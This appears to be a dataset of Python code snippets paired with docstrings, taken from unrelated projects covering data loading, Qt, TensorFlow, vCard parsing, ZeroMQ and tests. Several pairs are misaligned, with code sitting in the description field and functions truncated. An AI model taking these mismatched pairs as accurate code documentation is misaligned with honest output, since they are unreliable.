embedding matrices and weight matrices of model.Returns:loss(torch.FloatTensor): The L2 Loss tensor. shape of [1,]"} {"code": "def create_trainset(meter, mains, train_size, window_size):\n\tall_x_train = np.empty((train_size,window_size,1))\n\tall_y_train = np.empty((train_size,))\n\tlow_index = 0\n\n\tgen = align_two_meters(meter, mains)\n\tfor chunk in gen:\n\t\tif (chunk.shape[0]<3000):\n\t\t\tcontinue\n\t\tchunk.fillna(method='ffill', inplace=True)\n\t\tX_batch, Y_batch = gen_batch(chunk.iloc[:,1], chunk.iloc[:,0], chunk.shape[0]-window_size, 0, window_size)\n\t\thigh_index = min(len(X_batch), train_size-low_index)\n\t\tall_x_train[low_index:high_index+low_index] = X_batch[:high_index]\n\t\tall_y_train[low_index:high_index+low_index] = Y_batch[:high_index]\n\t\tlow_index = high_index+low_index\n\t\tif (low_index == train_size):\n\t\t\tbreak\n\n\treturn all_x_train, all_y_train\n", "nl": "Creates a time series from the raw UKDALE DataSet"} {"code": "def _isvalid(object):\n\n assert isinstance(object, Qt.QtCore.QObject)\n\n if hasattr(Qt, \"_shiboken2\"):\n return getattr(Qt, \"_shiboken2\").isValid(object)\n\n elif hasattr(Qt, \"_shiboken\"):\n return getattr(Qt, \"_shiboken\").isValid(object)\n\n elif hasattr(Qt, \"_sip\"):\n return not getattr(Qt, \"_sip\").isdeleted(object)\n\n else:\n raise AttributeError(\"'module' has no attribute isValid\")\n\n", "nl": "Check if the object is valid to use in Python runtime.Usage:See :func:`QtCompat.isValid()`Arguments:object (QObject): QObject to check the validity of."} {"code": "def test_undefined_as_null_indicator(self):", "nl": "Use custom_null_indicator_template to test COPY with NULL = undefined."} {"code": "def with_permissions(self, create, extracted, **kwargs):\n if create and extracted:\n self.create_page_role()\n\n\nclass PageRoleFactory(factory.django.DjangoModelFactory):\n \"\"\"A factory to automatically generate random yet meaningful page roles.\"\"\"\n A factory to automatically generate random yet meaningful course page extensions\n and their related page in our tests.\n \"\"\"", "nl": "Create a page role with related group, page permission and filer folder."} {"code": "def load_dotted_path(dotted_path, raise_=True, reload=False):\n obj, module = None, None\n\n parsed = _validate_dotted_path(dotted_path, raise_=raise_)\n\n if parsed:\n mod, name = parsed\n main_mod = str(mod.split('.')[0])\n try:\n module = importlib.import_module(mod)\n except ModuleNotFoundError as e:\n if raise_:\n spec = importlib.util.find_spec(main_mod)\n\n msg = ('An error occured when trying to import dotted '\n f'path {dotted_path!r}: {e}')\n\n if spec is not None:\n msg = (msg +\n f' (loaded {main_mod!r} from {spec.origin!r})')\n\n e.msg = msg\n\n raise\n\n if module:\n if reload:\n module = importlib.reload(module)\n\n try:\n obj = getattr(module, name)\n except AttributeError as e:\n if raise_:\n e.args = ((f'Could not get {name!r} from module {mod!r} '\n f'(loaded {mod!r} from {module.__file__!r}). '", "nl": "Load an object/function/module by passing a dotted pathParameters----------dotted_path : strDotted path to a module, e.g. ploomber.tasks.NotebookRunnerraise_ : bool, default=TrueIf True, an exception is raised if the module can't be imported,otherwise return None if that happensreload : bool, default=FalseReloads the module after importing it"} {"code": "def map(self, fun, groups=None, filter_groups=None, inplace=False, args=None, **kwargs):\n if args is None:\n args = []\n groups = self._group_names(groups, filter_groups)\n\n out = self if inplace else deepcopy(self)\n for group in groups:\n dataset = getattr(self, group)\n dataset = fun(dataset, *args, **kwargs)\n setattr(out, group, dataset)\n if inplace:\n return None\n else:\n return out\n", "nl": "Apply a function to multiple groups.Applies ``fun`` groupwise to the selected ``InferenceData`` groups and overwrites thegroup with the result of the function.Parameters----------fun : callableFunction to be applied to each group. Assumes the function is called as``fun(dataset, *args, **kwargs)``.groups : str or list of str, optionalGroups where the selection is to be applied. Can either be group namesor metagroup names.filter_groups : {None, \"like\", \"regex\"}, optionalIf `None` (default), interpret var_names as the real variables names. If \"like\",interpret var_names as substrings of the real variables names. If \"regex\",interpret var_names as regular expressions on the real variables names. A la`pandas.filter`.inplace : bool, optionalIf ``True``, modify the InferenceData object inplace,otherwise, return the modified copy.args : array_like, optionalPositional arguments passed to ``fun``.**kwargs : mapping, optionalKeyword arguments passed to ``fun``.Returns-------InferenceDataA new InferenceData object by default.When `inplace==True` perform selection in place and return `None`Examples--------Shift observed_data, prior_predictive and posterior_predictive... jupyter-execute::import arviz as azimport numpy as npidata = az.load_arviz_data(\"non_centered_eight\")idata_shifted_obs = idata.map(lambda x: x + 3, groups=\"observed_vars\")idata_shifted_obsRename and update the coordinate values in both posterior and prior groups... jupyter-execute::idata = az.load_arviz_data(\"radon\")idata = idata.map(lambda ds: ds.rename({\"g_coef\": \"uranium_coefs\"}).assign(uranium_coefs=[\"intercept\", \"u_slope\"]),groups=[\"posterior\", \"prior\"])idataAdd extra coordinates to all groups containing observed variables.. jupyter-execute::idata = az.load_arviz_data(\"rugby\")home_team, away_team = np.array([m.split() for m in idata.observed_data.match.values]).Tidata = idata.map(lambda ds, **kwargs: ds.assign_coords(**kwargs),groups=\"observed_vars\",home_team=(\"match\", home_team),away_team=(\"match\", away_team),)idata"} {"code": "def check_pth_processing(self):\n import os\n f = open({ok_file!r}, 'w')\n f.write('OK')\n f.close()\n \"\"\") + '\\n'", "nl": "Empirically verify whether .pth files are supported in inst. dirinstdir = self.install_dirlog.info(\"Checking .pth file support in %s\", instdir)pth_file = self.pseudo_tempname() + \".pth\"ok_file = pth_file + '.ok'ok_exists = os.path.exists(ok_file)tmpl = _one_liner("} {"code": "def dump(self, model) -> ArtifactCollection:\n model_file = tempfile.mktemp()\n try:\n model.save_model(model_file)\n yield Blobs({self._get_model_file_name(model): LocalFileBlob(model_file)})\n finally:\n os.remove(model_file)\n", "nl": "Dumps `catboost.CatBoostClassifier` or `catboost.CatBoostRegressor` instance to :class:`.LocalFileBlob` andcreates :class:`.ArtifactCollection` from it:return: context manager with :class:`~ebonite.core.objects.ArtifactCollection`"} {"code": "def __init__(self,name,value,rfc2425parameters=None):\n VCardField.__init__(self,name)\n if not rfc2425parameters:\n rfc2425parameters={}\n if self.name.upper()!=\"ADR\":\n raise RuntimeError(\"VCardAdr handles only 'ADR' type\")\n (self.pobox,self.extadr,self.street,self.locality,\n self.region,self.pcode,self.ctry)=[\"\"]*7\n self.type=[]\n if isinstance(value,libxml2.xmlNode):\n self.__from_xml(value)\n else:\n t=rfc2425parameters.get(\"type\")\n if t:\n self.type=t.split(\",\")\n else:\n self.type=[\"intl\",\"postal\",\"parcel\",\"work\"]\n v=non_quoted_semicolon_re.split(value)\n value=[\"\"]*7\n value[:len(v)]=v\n (self.pobox,self.extadr,self.street,self.locality,\n self.region,self.pcode,self.ctry)=(\n unquote_semicolon(val) for val in value)\n", "nl": "Initialize a `VCardAdr` object.:Parameters:- `name`: field name- `value`: field value as string or an XML node- `rfc2425parameters`: optional RFC 2425 parameters:Types:- `name`: `str`- `value`: `str` or `libxml2.xmlNode`- `rfc2425parameters`: `dict`"} {"code": "def _run_bunny(args):\n main_file, json_file, project_name = _get_main_and_json(args.directory)\n work_dir = utils.safe_makedir(os.path.join(os.getcwd(), \"bunny_work\"))\n flags = [\"-b\", work_dir]\n log_file = os.path.join(work_dir, \"%s-bunny.log\" % project_name)\n if os.path.exists(work_dir):\n caches = [os.path.join(work_dir, d) for d in os.listdir(work_dir)\n if os.path.isdir(os.path.join(work_dir, d))]\n if caches:\n flags += [\"--cache-dir\", max(caches, key=os.path.getmtime)]\n if args.no_container:\n _remove_bcbiovm_path()\n flags += [\"--no-container\"]\n cmd = [\"rabix\"] + flags + [main_file, json_file]\n with utils.chdir(work_dir):\n _run_tool(cmd, not args.no_container, work_dir, log_file)\n", "nl": "Run CWL with rabix bunny."} {"code": "def _encode(self, boxes, anchors):\n ycenter_a, xcenter_a, ha, wa = anchors.get_center_coordinates_and_sizes()\n la = tf.sqrt(ha * wa)\n ycenter, xcenter, h, w = boxes.get_center_coordinates_and_sizes()\n l = tf.sqrt(h * w)\n la += EPSILON\n l += EPSILON\n\n tx = (xcenter - xcenter_a) / la\n ty = (ycenter - ycenter_a) / la\n tl = tf.log(l / la)\n if self._scale_factors:\n ty *= self._scale_factors[0]\n tx *= self._scale_factors[1]\n tl *= self._scale_factors[2]\n return tf.transpose(tf.stack([ty, tx, tl]))\n", "nl": "Encodes a box collection with respect to an anchor collection.Args:boxes: BoxList holding N boxes to be encoded.anchors: BoxList of anchors.Returns:a tensor representing N anchor-encoded boxes of the format[ty, tx, tl]."} {"code": "def test_invalid_input_constraints_for_pattern(self):\n\n input_params = {'user_name': '1-abc'}\n expectedmessage = _('The value \"1-abc\" of property \"user_name\" does '\n 'not match pattern \"^\\\\w+$\".')\n self._translate_input_test(tpl_snippet, input_params, expectedmessage)\n", "nl": "tpl_snippet = inputs:user_name:type: stringdescription: Name of the user.constraints:- pattern: '^\\\\w+$'"} {"code": "def _indent(s, indent=4):\n if isinstance(s, unicode):\n s = s.encode(_encoding, 'backslashreplace')\n return re.sub('(?m)^(?!$)', indent*' ', s)\n", "nl": "Add the given number of space characters to the beginning ofevery non-blank line in `s`, and return the result.If the string `s` is Unicode, it is encoded using the stdoutencoding and the `backslashreplace` error handler."} {"code": "def get_option_setter(dataset_name):\n\n This function wraps the class CustomDatasetDataLoader.\n This is the main interface between this package and 'train.py'/'test.py'\n\n Example:\n >>> from datasets import create_dataset\n >>> dataset = create_dataset(opt)\n \"\"\"\n", "nl": "Return the static method of the dataset class.ret = find_dataset_using_name(dataset_name)dataset_class = ret[0] if type(ret) == tuple else retreturn dataset_class.modify_commandline_optionsdef create_dataset(opt, val=False):Create a dataset given the option."} {"code": "def as_fields(self):", "nl": "Return a dict of product options as their field names andchoices."} {"code": "def rotation(self) -> float:\n Sprites for out map to keep things less messy\n \"\"\"", "nl": "Get or set the rotationreturn self._rotation@rotation.setterdef rotation(self, value: float):self._rotation = valuedef draw(self, time: float):self.map.texture.use()program = self.shaders.actor_viewprogram[\"mapSize\"] = self.map.sizeprogram[\"area\"] = self._areaprogram[\"pos\"] = time / 10, time / 10program[\"rot\"] = time * 10self.geometry.render(self.shaders.actor_view)class Map:"} {"code": "def alias(self, name=None, flat=False):\n return CTE._construct(\n self.original,\n name=name,\n recursive=self.recursive,\n _cte_alias=self,\n _prefixes=self._prefixes,\n _suffixes=self._suffixes,\n )\n", "nl": "Return an :class:`_expression.Alias` of this:class:`_expression.CTE`.This method is a CTE-specific specialization of the:meth:`_expression.FromClause.alias` method... seealso:::ref:`core_tutorial_aliases`:func:`_expression.alias`"} {"code": "def get(class_path) -> 'Server':\n\n return _ServerBase.get(class_path)()\n\n @abstractmethod", "nl": "Gets a fresh instance of given server implementation:param class_path: full name of server implementation:return: server object"} {"code": "def __gt__(self, other):\n return self.__eq__(other) or self.__gt__(other)\n", "nl": " Return True If other is Lower to self return self.src > other.srcdef __ge__(self, other): Return True If other is Lower or equal to self "} {"code": "def terminal(self) -> bool:\n raise NotImplementedError\n\n @property", "nl": "Describes if the episode has terminated.raise NotImplementedError@propertydef reward(self) -> bool:Contains the reward output by thhe environment at a given moment."} {"code": "def test_multispeaker(self, preprocessed_corpus):\n deterministic.\n \"\"\"", "nl": " Trains a multispeaker BKW system using default settings. exp_dir = prep_exp_dir(directory=config.TEST_EXP_PATH)# TODO bkw.Corpus and elan.Corpus should take an org_dir argument.corp = preprocessed_corpuscr = CorpusReader(corp)model = rnn_ctc.Model(exp_dir, cr, num_layers=2, hidden_size=250)model.train(min_epochs=30)@pytest.mark.skipdef test_utt2spk(self, prep_org_data):corp = bkw.create_corpus(tgt_dir=tgt_dir, speakers=[\"Mark Djandiomerr\"])assert len(corp.speakers) == 1assert len(corp.get_train_fns()) < NUM_UTTERS / 2corp = bkw.create_corpus(tgt_dir=tgt_dir)assert len(corp.speakers) == NUM_SPEAKERSassert len(corp.get_train_fns()) == NUM_UTTERSdef test_deterministic(self, prep_org_data): Ensures loading and processing utterances from ELAN files is"} {"code": "def send(self, message):\n from txzmq.compat import is_nonstr_iter\n from twisted.internet import reactor\n\n if not is_nonstr_iter(message):\n self.socket.send(message, constants.NOBLOCK)\n else:\n self.socket.send_multipart(message, flags=constants.NOBLOCK)\n\n if self.read_scheduled is None:\n self.read_scheduled = reactor.callLater(0, self.doRead)\n\n\n", "nl": "Send message via ZeroMQ socket.Sending is performed directly to ZeroMQ without queueing. If HWM isreached on ZeroMQ side, sending operation is aborted with exceptionfrom ZeroMQ (EAGAIN).After writing read is scheduled as ZeroMQ may not signal incomingmessages after we touched socket with write request.:param message: message data, could be either list of str (multipartmessage) or just str:type message: str or list of str"} {"code": "def gsy_energy_bill_excl_revenue(self):\n return (self.gsy_energy_bill_excl_revenue - self.grid_fees - self.tax_surcharges\n - self.fixed_fee - self.marketplace_fee)\n\n @property", "nl": "Energy bill of the home excluding revenue.return self.gsy_energy_bill + self.earned_from_grid + self.earned_from_community@propertydef gsy_energy_bill_excl_revenue_without_fees(self):Energy bill of the home excluding revenue and excluding all fees."} {"code": "def delete_entries_from_project(self, project):\n self.db.session.execute(sql, dict(project_id=project.id))\n self.db.session.commit()\n clean_project(project.id)\n", "nl": "sql = text(DELETE FROM webhook WHERE project_id=:project_id;)"} {"code": "def _find_prime_in_row(self, row):\n col = np.argmax(self.marked[row] == 2)\n if self.marked[row, col] != 2:\n col = -1\n return col\n", "nl": "Find the first prime element in the specified row. Returnsthe column index, or -1 if no starred element was found."} {"code": "def validate_options(self):\n if self.fuzzing_mode == 'random-walk' and self.max_sequence_length != 100:\n raise OptionValidationError(\"Should not provide maximum sequence length\"\n \" for random walk method\")\n if self.token_refresh_interval and not self.token_refresh_cmd:\n raise OptionValidationError(\"Must specify command to refresh token\")\n if self.token_refresh_cmd and not self.token_refresh_interval:\n raise OptionValidationError(\"Must specify refresh period in seconds\")\n if self.request_throttle_ms and self.fuzzing_jobs != 1:\n raise OptionValidationError(\"Request throttling not available for multiple fuzzing jobs\")\n if self.custom_bug_codes and self.custom_non_bug_codes:\n raise OptionValidationError(\"Both custom_bug_codes and custom_non_bug_codes lists were specified. \"\n \"Specifying both lists is not allowed.\")", "nl": " Verifies all required options existRaises OptionValidationError if any validation fails."} {"code": "def test_outdated_stratisd_version(self):\n", "nl": "Verify that an outdated version of stratisd will produce a StratisCliStratisdVersionError."} {"code": "def add_webpages(submissions):\n restricted to the subreddit+domain listed in filter_file.\"\"\"", "nl": "Use multithreading to retrieve multiple webpages at once.print(\"Downloading %d pages:\" % len(submissions))pool = Pool()submissions = pool.map(add_webpage, submissions)print(\"\\nDone.\")return [s for s in submissions if s is not None]def get_date(file_name):m = re.search(r'(\\d\\d\\d\\d)-(\\d\\d)', file_name)year = m.group(1)month = m.group(2)return year, monthdef get_submissions(rs_file, subreddit_file, domain_file):Return all submissions from a dump submission file rs_file (RS_*.bz2),"} {"code": "def test_fuzz_target_bucket_path_no_fuzz_target(self):\n os.environ[\n 'FUZZ_TARGET_BUILD_BUCKET_PATH'] = 'gs://fuzz_target/%TARGET%/path'\n with self.assertRaises(build_manager.BuildManagerException):\n build_manager.get_primary_bucket_path()\n", "nl": "Test primary bucket being a FUZZ_TARGET_BUILD_BUCKET_PATH with no fuzztarget defined."} {"code": "def network_definition(graph: jraph.GraphsTuple) -> jraph.ArrayTree:\n gn = jraph.GraphConvolution(\n update_node_fn=hk.Linear(5, with_bias=False),\n add_self_edges=True)\n graph = gn(graph)\n graph = graph._replace(nodes=jax.nn.relu(graph.nodes))\n gn = jraph.GraphConvolution(\n update_node_fn=hk.Linear(2, with_bias=False))\n graph = gn(graph)\n return graph.nodes\n\n", "nl": "Implements the GCN from Kipf et al https://arxiv.org/pdf/1609.02907.pdf.A' = D^{-0.5} A D^{-0.5}Z = f(X, A') = A' relu(A' X W_0) W_1Args:graph: GraphsTuple the network processes.Returns:processed nodes."} {"code": "def validate_client_id(self, client_id, request, *args, **kwargs):\n Validate an authorization code.\n\n Check that the authorization code supplied with an access token request\n a) exists, b) has not expired, and c) is associated with the client\n identified in the request. If we return True from this function, we can\n assume that it is safe to issue an access token fo the requesting client.\n\n This function also finds the user associated with the given authorization\n code, and sets it on the given oauth reques object as the ``user`` property.\n It also finds the scopes associated with the authorization code, and sets it\n as well on the request object as ``scopes``.\n \"\"\"", "nl": "Check if the provided client_id belongs to a valid AuthClient.client = self.find_client(client_id)return client is not Nonedef validate_code(self, client_id, code, client, request, *args, **kwargs):"} {"code": "def display_grade_staff(self, student):\n return self.display_grade_visible(student, 'INST')\n", "nl": "String representing grade for this student"} {"code": "def local_to_gpu(node):\n if isinstance(node.op, op):\n if any(node.inputs[idx].owner and\n isinstance(node.inputs[idx].owner.op, cuda.HostFromGpu)\n for idx in to_gpu):\n new_inp = list(node.inputs)\n for idx in to_gpu:\n new_inp[idx] = cuda.gpu_from_host(new_inp[idx])\n result_node = op()(*new_inp)\n copy_stack_trace(node.outputs[0], result_node)\n transfer_node = cuda.host_from_gpu(result_node)\n copy_stack_trace(node.outputs[0], transfer_node)\n return [transfer_node]\n if node.op == cuda.gpu_from_host:\n host_input = node.inputs[0]\n if host_input.owner and isinstance(host_input.owner.op,\n op):\n op_node = host_input.owner\n new_inp = list(op_node.inputs)\n for idx in to_gpu:\n new_inp[idx] = cuda.gpu_from_host(new_inp[idx])\n new_node = op()(*new_inp)\n copy_stack_trace(host_input, new_node)\n return [new_node]\n return False\n local_to_gpu.__name__ = \"local_to_gpu_\" + op.__name__\n cuda.opt.register_opt()(local_to_gpu)\n\nif cuda.cuda_available:\n make_gpu_optimizer(DiagonalSubtensor, [0])\n make_gpu_optimizer(IncDiagonalSubtensor, [0, 3])\n\n\n@theano.gof.local_optimizer([DiagonalSubtensor, IncDiagonalSubtensor])", "nl": "op(host_from_gpu()) -> host_from_gpu(op)gpu_from_host(op) -> op(gpu_from_host)"} {"code": "def mapk(actual, predicted, k=10):\n return np.mean([apk(a,p,k) for a,p in zip(actual, predicted)])\n", "nl": "Computes the mean average precision at k.This function computes the mean average prescision at k between two listsof lists of items.Parameters----------actual : listA list of lists of elements that are to be predicted(order doesn't matter in the lists)predicted : listA list of lists of predicted elements(order matters in the lists)k : int, optionalThe maximum number of predicted elementsReturns-------score : doubleThe mean average precision at k over the input lists"} {"code": "def test_notImplementedGreaterThanEquals(self):\n self.assertEqual(Comparable(1).__ge__(object()), NotImplemented)\n\n", "nl": "Instances of a class that is decorated by C{comparable} supportreturning C{NotImplemented} from C{__ge__} if it is returned by theunderlying C{__cmp__} call."} {"code": "def mean(x, **kwargs):\n if \"axis\" not in kwargs:\n kwargs[\"axis\"] = -1\n if \"keepdims\" not in kwargs:\n kwargs[\"keepdims\"] = True\n return _apply_function(x, 'mean', **kwargs)\n\n", "nl": "Apply mean to the `Functional` objects on far-right axis.# Argumentsx: Functional object.# ReturnsA new functional object."} {"code": "def entities(self):\n self._ents = value\n", "nl": " Access the list of entities. This is just an alias of `ents`. return self._ents@entities.setterdef entities(self, value): Set the list of entities in this sentence. "} {"code": "def _eval_model_update(self):\n for param_train, param_eval in zip(self.train_model.module.parameters(), self.eval_model.parameters()):\n param_eval.copy_(param_eval * self.ema_m + param_train.detach() * (1 - self.ema_m))\n\n for buffer_train, buffer_eval in zip(self.train_model.buffers(), self.eval_model.buffers()):\n buffer_eval.copy_(buffer_train)\n", "nl": "Momentum update of evaluation model (exponential moving average)"} {"code": "def _extract_features_and_labels(self, batched_extract):\n self._init_model(multi_model, validation=False)\n records = self._readDatasetIntoExtracts()\n extracts = []\n\n start = time.time()\n for _ in range(_ITERS):\n for elem in records:\n extracts.append(\n legacy_input_extractor._ParseExample(elem, self._eval_config))\n end = time.time()\n delta = end - start\n self.report_benchmark(\n iters=_ITERS, wall_time=delta, extras={\"num_examples\": len(records)})\n", "nl": "Extract features from extracts containing arrow table.# This function is a combination of# _ExtractFeatures.extract_features in extractors/features_extractor.py# and _ExtractLabels.extract_labels in extractors/labels_extractor.pyresult = copy.copy(batched_extract)(record_batch, serialized_examples) = (features_extractor._drop_unsupported_columns_and_fetch_raw_data_column( # pylint: disable=protected-accessbatched_extract[constants.ARROW_RECORD_BATCH_KEY]))features = result[constants.FEATURES_KEY] if constants.FEATURES_KEY in result else {}features.update(util.record_batch_to_tensor_values(record_batch))result[constants.FEATURES_KEY] = featuresresult[constants.INPUT_KEY] = serialized_exampleslabels = (model_util.get_feature_values_for_model_spec_field(list(self._eval_config.model_specs), \"label_key\", \"label_keys\",result, True))result[constants.LABELS_KEY] = self._transform_labels(labels)return resultdef _runInputExtractorManualActuation(self, multi_model):Benchmark InputExtractor \"manually\"."} {"code": "def requires_instructor(function=None, login_url=None):\n actual_decorator = user_passes_test(is_instructor, login_url=login_url)\n if function:\n return actual_decorator(function)\n else:\n return actual_decorator\n\n", "nl": "Allows access if user is an instructor."} {"code": "def _get_global_gloo_group():\n if dist.get_backend() == \"nccl\":\n return dist.new_group(backend=\"gloo\")\n else:\n return dist.group.WORLD\n\n", "nl": "Return a process group based on gloo backend, containing all the ranksThe result is cached."} {"code": "def SetUpJsonCredentialsAndCache(api, logger, credentials=None):\n\n Args:\n logger: logging.Logger instance for outputting messages.\n\n Returns:\n OAuth2Credentials object if any valid ones are found, otherwise None.\n \"\"\"", "nl": "Helper to ensure each GCS API client shares the same credentials.api.credentials = (credentials or _CheckAndGetCredentials(logger) orNoOpCredentials())# Notify the user that impersonation credentials are in effect.if isinstance(api.credentials, ImpersonationCredentials):logger.warn('WARNING: This command is using service account impersonation. All ''API calls will be executed as [%s].', _GetImpersonateServiceAccount())# Set credential cache so that we don't have to get a new access token for# every call we make. All GCS APIs use the same credentials as the JSON API,# so we use its version in the key for caching access tokens.credential_store_key = (GetCredentialStoreKey(api.credentials,GetGcsJsonApiVersion()))api.credentials.set_store(multiprocess_file_storage.MultiprocessFileStorage(GetCredentialStoreFilename(), credential_store_key))# The cached entry for this credential often contains more context than what# we can construct from boto config attributes (e.g. for a user credential,# the cached version might also contain a RAPT token and expiry info).# Prefer the cached credential if present.cached_cred = Noneif not isinstance(api.credentials, NoOpCredentials):# A NoOpCredentials object doesn't actually have a store attribute.cached_cred = api.credentials.store.get()# As of gsutil 4.31, we never use the OAuth2Credentials class for# credentials directly; rather, we use subclasses (user credentials were# the only ones left using it, but they now use# Oauth2WithReauthCredentials). If we detect that a cached credential is# an instance of OAuth2Credentials and not a subclass of it (as might# happen when transitioning to version v4.31+), we don't fetch it from the# cache. This results in our new-style credential being refreshed and# overwriting the old credential cache entry in our credstore.if (cached_cred andtype(cached_cred) != oauth2client.client.OAuth2Credentials):api.credentials = cached_creddef _CheckAndGetCredentials(logger):Returns credentials from the configuration file, if any are present."} {"code": "def except_(self):\n return exclusions.closed()\n\n @property", "nl": "Target database must support EXCEPT or equivalent (i.e. MINUS).return exclusions.closed()@propertydef window_functions(self):Target database must support window functions."} {"code": "def compile_dir(dir, maxlevels=10, ddir=None, force=0, rx=None, quiet=0):\n if not quiet:\n print 'Listing', dir, '...'\n try:\n names = os.listdir(dir)\n except os.error:\n print \"Can't list\", dir\n names = []\n\n names.sort()\n success = 1\n for name in names:\n fullname = os.path.join(dir, name)\n if ddir is not None:\n dfile = os.path.join(ddir, name)\n else:\n dfile = None\n if not os.path.isdir(fullname):\n if not compile_file(fullname, ddir, force, rx, quiet):\n success = 0\n elif maxlevels > 0 and name != os.curdir and name != os.pardir and os.path.isdir(fullname) and not os.path.islink(fullname):\n if not compile_dir(fullname, maxlevels - 1, dfile, force, rx, quiet):\n success = 0\n\n return success\n\n", "nl": "Byte-compile all modules in the given directory tree.Arguments (only dir is required):dir: the directory to byte-compilemaxlevels: maximum recursion level (default 10)ddir: if given, purported directory name (this is thedirectory name that will show up in error messages)force: if 1, force compilation, even if timestamps are up-to-datequiet: if 1, be quiet during compilation"} {"code": "def load_app(name=application_name):\n cmd = SetupAppCommand(Bunch(options=Bunch(verbose_level=1)), Bunch())\n cmd.run(Bunch(config_file='config:test.ini', section_name=None))\n", "nl": "Load the test application.return TestApp(loadapp('config:test.ini#%s' % name, relative_to=getcwd()))def setup_app():Setup the application."} {"code": "def __init__(self, zone, environment):\n self._zone = zone\n self._environment = environment\n self._gcs_dag_location = None\n", "nl": " Initializes an instance of a Composer object.Args:zone: Zone in which Composer environment has been created.environment: Name of the Composer environment."} {"code": "def get_friends(self, id=None):\n return self._client.get_list(id, \"Friends\")\n", "nl": "Gets a list with your friends"} {"code": "def broadcast(self, clients, message):\n self.session.broadcast(clients, message)\n", "nl": "Broadcast message to the one or more clients.Use this method if you want to send same message to lots of clients, asit contains several optimizations and will work fast than just having loopin your code.`clients`Clients iterable`message`Message to send."} {"code": "def test_passwordresetrequest_init(self):\n result = models.AuthPasswordResetRequest()\n self.assertIsInstance(result, models.AuthPasswordResetRequest)\n self.assertTrue(hasattr(result, 'reset_code'))", "nl": "Test for checking PasswordResetRequest's instance creation"} {"code": "def add(self, key, value):", "nl": "Adds a new value for the key... versionadded:: 0.6:param key: the key for the value.:param value: the value to add."} {"code": "def check_call_count(self, test_svc, expected_count):\n self.assertEqual(test_svc.call_count, expected_count,\n \"updated() called more than {0} times\"\n .format(expected_count))\n test_svc.call_count = 0\n", "nl": "Checks if the given test service has been called X times"} {"code": "def request(self, path, **data):\n response = self._client._make_auth_request(path, **data)\n return json.loads(response)", "nl": "Executes a request to the api"} {"code": "def _git_add(self, filename):\n if filelist is None:\n filelist = []\n self._update_author()\n message = message.replace(\"'\", '\"')\n if len(filelist) > 0:\n filename = \"' '\".join(filelist)\n command = \"git commit '%s' -m '%s'\" % (filename, message)\n return self._run_command(command=command)\n", "nl": " Wrapper around git add command self._update_author()command = \"git add '%s'\" % filenamereturn self._run_command(command)def _git_commit(self, filename, message, filelist=None): Wrapper around git commit command "} {"code": "def step(self, iteration: int, **kwargs: Any) -> None:\n iteration = int(iteration)\n additional_state = {\"iteration\": iteration}\n additional_state.update(kwargs)\n\n if (iteration + 1) % self.period == 0:\n self.checkpointer.save(\n \"{}_{:07d}\".format(self.file_prefix, iteration), **additional_state\n )\n\n if self.max_to_keep is not None:\n self.recent_checkpoints.append(self.checkpointer.get_checkpoint_file())\n if len(self.recent_checkpoints) > self.max_to_keep:\n file_to_delete = self.recent_checkpoints.pop(0)\n if self.path_manager.exists(\n file_to_delete\n ) and not file_to_delete.endswith(f\"{self.file_prefix}_final.pth\"):\n self.path_manager.rm(file_to_delete)\n\n if self.max_iter is not None:\n if iteration >= self.max_iter - 1:\n self.checkpointer.save(f\"{self.file_prefix}_final\", **additional_state)\n", "nl": "Perform the appropriate action at the given iteration.Args:iteration (int): the current iteration, ranged in [0, max_iter-1].kwargs (Any): extra data to save, same as in:meth:`Checkpointer.save`."} {"code": "def name(self) -> str:\n if self.device_type in camera_devices:\n return self.display_name\n elif self.device_type == DeviceType.volume:\n return self.display_name\n else:\n return self.path\n", "nl": "Get the name of the device, suitable to be displayed to theuser. If the device is a path, return the path name:return str containing the name"} {"code": "def create_cutout_mask(img_height, img_width, num_channels, size):\n assert img_height == img_width\n\n height_loc = np.random.randint(low=0, high=img_height)\n width_loc = np.random.randint(low=0, high=img_width)\n\n upper_coord = (max(0, height_loc - size // 2), max(0, width_loc - size // 2))\n lower_coord = (min(img_height, height_loc + size // 2),\n min(img_width, width_loc + size // 2))\n mask_height = lower_coord[0] - upper_coord[0]\n mask_width = lower_coord[1] - upper_coord[1]\n assert mask_height > 0\n assert mask_width > 0\n\n mask = np.ones((img_height, img_width, num_channels))\n zeros = np.zeros((mask_height, mask_width, num_channels))\n mask[upper_coord[0]:lower_coord[0], upper_coord[1]:lower_coord[1], :] = (\n zeros)\n return mask, upper_coord, lower_coord\n\n", "nl": "Creates a zero mask used for cutout of shape `img_height` x `img_width`.Args:img_height: Height of image cutout mask will be applied to.img_width: Width of image cutout mask will be applied to.num_channels: Number of channels in the image.size: Size of the zeros mask.Returns:A mask of shape `img_height` x `img_width` with all ones except for asquare of zeros of shape `size` x `size`. This mask is meant to beelementwise multiplied with the original image. Additionally returnsthe `upper_coord` and `lower_coord` which specify where the cutout maskwill be applied."} {"code": "def _readOutputThread(self, pipe):", "nl": "Reader thread function. Reads output from process to queue"} {"code": "def __init__(self, corpus, vocab, sentence_maxlen=100, token_maxlen=50, batch_size=32, shuffle=True, token_encoding='word'):\n\n self.corpus = corpus\n self.vocab = {line.split()[0]: int(line.split()[1]) for line in open(vocab).readlines()}\n self.sent_ids = corpus\n self.batch_size = batch_size\n self.shuffle = shuffle\n self.sentence_maxlen = sentence_maxlen\n self.token_maxlen = token_maxlen\n self.token_encoding = token_encoding\n with open(self.corpus) as fp:\n self.indices = np.arange(len(fp.readlines()))\n newlines = [index for index in range(0, len(self.indices), 2)]\n self.indices = np.delete(self.indices, newlines)\n", "nl": "Compiles a Language Model RNN based on the given parameters:param corpus: filename of corpus:param vocab: filename of vocabulary:param sentence_maxlen: max size of sentence:param token_maxlen: max size of token in characters:param batch_size: number of steps at each batch:param shuffle: True if shuffle at the end of each epoch:param token_encoding: Encoding of token, either 'word' index or 'char' indices:return: Nothing"} {"code": "def abs_rel_err(a, b):\n abs_err = abs(a - b)\n rel_err = abs_err / np.maximum(abs(a) + abs(b), [1e-8])\n abs_err = np.asarray(abs_err)\n rel_err = np.asarray(rel_err)\n return (abs_err, rel_err)\n", "nl": "Return absolute and relative error between a and b.The relative error is a small number when a and b are close, relativeto how big they are.Formulas used:abs_err = abs(a - b)rel_err = abs_err / max(abs(a) + abs(b), 1e-8)The denominator is clipped at 1e-8 to avoid dividing by 0 when a and bare both close to 0.The tuple (abs_err, rel_err) is returned"} {"code": "def test_multipleUnsatisfiableRangeSetsContentHeaders(self):\n request = DummyRequest([])\n request.requestHeaders.addRawHeader(b'range', b'bytes=4-10')\n contentType = \"text/plain\"\n request.requestHeaders.addRawHeader(b'range', b'bytes=10-12,15-20')\n resource = 